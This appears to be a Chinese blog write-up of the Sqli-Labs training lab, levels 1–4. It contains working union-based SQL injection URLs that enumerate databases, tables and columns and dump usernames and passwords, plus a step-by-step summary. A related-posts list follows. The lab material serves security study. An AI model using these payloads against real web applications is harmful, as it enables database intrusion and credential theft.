Sqli-Labs less1-4
首先,记录一下基础知识,可能不全:
几个常用的函数:
1.version() --Mysql版本
2.user() --数据库用户名
3.database() --数据库名
4.@@datadir --数据库安装路径
5.@@version_compile_os --操作系统的版本
常用的语句(重要):
1.查库:select schema_name from information_schema.schemata
2.查表:select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)
3.查列:select column_name from information_schema.columns where table_name='users'
4.查字段:select username,password from security.users
字符串连接函数:
1.concat(字符串1,字符串2) --没有分隔符的连接字符串
2.concat(-/~,字符串1,字符串2) --含有分隔符的连接字符串
3.group_concat(字符串1,字符串2) --连接一个组的所有字符串,并用,分隔每一个字符。
注释符:# --+ --空
less-1
开始之前,为了方便笔记,我在网页源码的数据库部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符
输入?id=1',出现报错:http://192.168.5.100/sqli-labs/Less-1/?id=1'
输入?id=1,正常,说明存在字符型注入。http://192.168.5.100/sqli-labs/Less-1/?id=1
接下来爆库,爆表,爆列,查询;
用order by语句去猜列数,以下用二分法查到列数为三:http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 8 --+
http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 4 --+
http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 3 --+
用union select 联合查询去回显数据:
这里正确的查询是图2,如果按照图1查询,因为limit0.1的限制,只能输出1个,所以输入id=-1或者0让他只能查询到第二行数据才可以输出。
http://192.168.5.100/sqli-labs/Less-1/?id=1' union select 1,2,3 %23
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,3 %23
上面的操作结束以后,判断了回显位置,后面就可以利用这两列回显想要的数据
查库名:这里是3作为回显位置,语句意思是从数据库中查询数据库的名字,group concat是合并成一行输出
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata %23
查表名:我们要用的数据库是security 最后查询得到数据库的表信息。注:这里推荐使用图二的16进制,不用考虑单引号的问题,得到的数据是相同的
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23
查询users表的字段:(这里不知道数据库只有最后三个字段,为啥回显出这么多字段,暂且留一个疑问)
查询字段中的内容:这里推荐使用图三中的语句查询,可以一次性查询多个字段内容,并且中间有分隔符
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
less-2
通过输入?id=1,显示正确,可以知道为数字型注入,不用考虑闭合sql语句,比第一关还简单:
以上步骤相同:
最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-2/?id=0 union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
less-3
这一关通过输入?id=1‘出现报错,不加单引号可以显示,可以推测是有符号包裹的
通过输出sql语句或者观察源码可以看见包裹形式为(’‘),所以要通过’)闭合sql语句。
所以以上步骤也是相同:
最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-3/?id=0') union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
less-4
同理,我们可以根据输出的sql语句或者观察源代码或者测试得出格式为(”“),所以需要闭合的语句变成了”)
最后得到用户名和密码:http://192.168.5.100/sqli-labs/Less-4/?id=0") union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
以上就是1-4关,总结:
基本步骤:
1. http://127.0.0.1/sqli/Less-4/?id=1"查看是否有注入
2. http://127.0.0.1/sqli/Less-4/?id=1”) order by 3--+查看有多少列
3. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(schema_name) from information_schema.schemata --+查看所有数据库
4. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
5. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
6. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。
第一关:id=’1‘
第二关:id=1
第三关:id=(’1‘)
第四关:id= (“1”)
只是需要闭合的sql语句不同,其他相同。
Sqli-Labs less1-4的更多相关文章
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- ExtJs4学习(十)Grid单元格换色和行换色的方法
Grid单元格换色 { text:'类别', dataIndex:'type', align:'center', renderer:function(value,metaData){ console. ...
- Java实验项目二——二维数组实现九九乘法表
Program:打印乘法口诀表 (1)编写一个方法,参数(二维数组),完成将二维数组中的数据按照行列显示的工作. (2)编写一个测试方法,给出99乘法表,放入到二维数组中,调用(1)中的方法,显示乘法 ...
- sscanf功能详解(转)
#include <stdio.h> #include <stdlib.h> #include <string.h> static void sscanf_test ...
- 访问其他人的vue项目
本地git拉取项目 git clone git@git路径 项目clone到本地后 1.工具命令行切换到此项目路径下 cd 路径名称 2.首先要下载项目所需要的资源包 npm install 这里会 ...
- Python 操作 MySQL 的5种方式
不管你是做数据分析,还是网络爬虫,Web 开发.亦或是机器学习,你都离不开要和数据库打交道,而 MySQL 又是最流行的一种数据库,这篇文章介绍 Python 操作 MySQL 的5种方式,你可以在实 ...
- VS Code 下载安装并设置中文面板显示
下载: 下载地址:https://code.visualstudio.com/ 微软在2015年4月30日Build 开发者大会上正式宣布了 Visual Studio Code 项目:一个运行于 M ...
- 高校表白App-团队冲刺第六天
今天要做什么 在引导页的基础上添加小红点,并且在滑动时进行增强用户体验的修饰 做了什么 在布局中成功添加小红点,并在activity中得到实现;滑动在3/4时发生渐变,增强用户体验;滑动可回退;在最后 ...
- [刘阳Java]_了解BeanFactory_第4讲
为什么说我们这篇文章只是说了解一下BeanFactory.因为BeanFactory内在的机制与代码实现实在是太强大了,在这一点我确实不敢滥竽充数. 1. 那么我们又如何去了解BeanFactory, ...
- ArrayList 深入浅出
ArrayList 特点:按添加顺序排列.可重复.非线程安全: 底层实现:数组 扩容原理:初始化集合时,默认容量为 0,第一次添加元素时扩容为 10,容量不够时扩容为原来容量的 1.5 倍. 这里扩容 ...
- SQlL 中 where 1=1
提升某种执行效率? 其实,1=1 是永恒成立的,意思无条件的,也就是说在SQL语句中有没有这个1=1都可以. 这个1=1常用于应用程序根据用户选择项的不同拼凑where条件时用的. 如:web界面查询 ...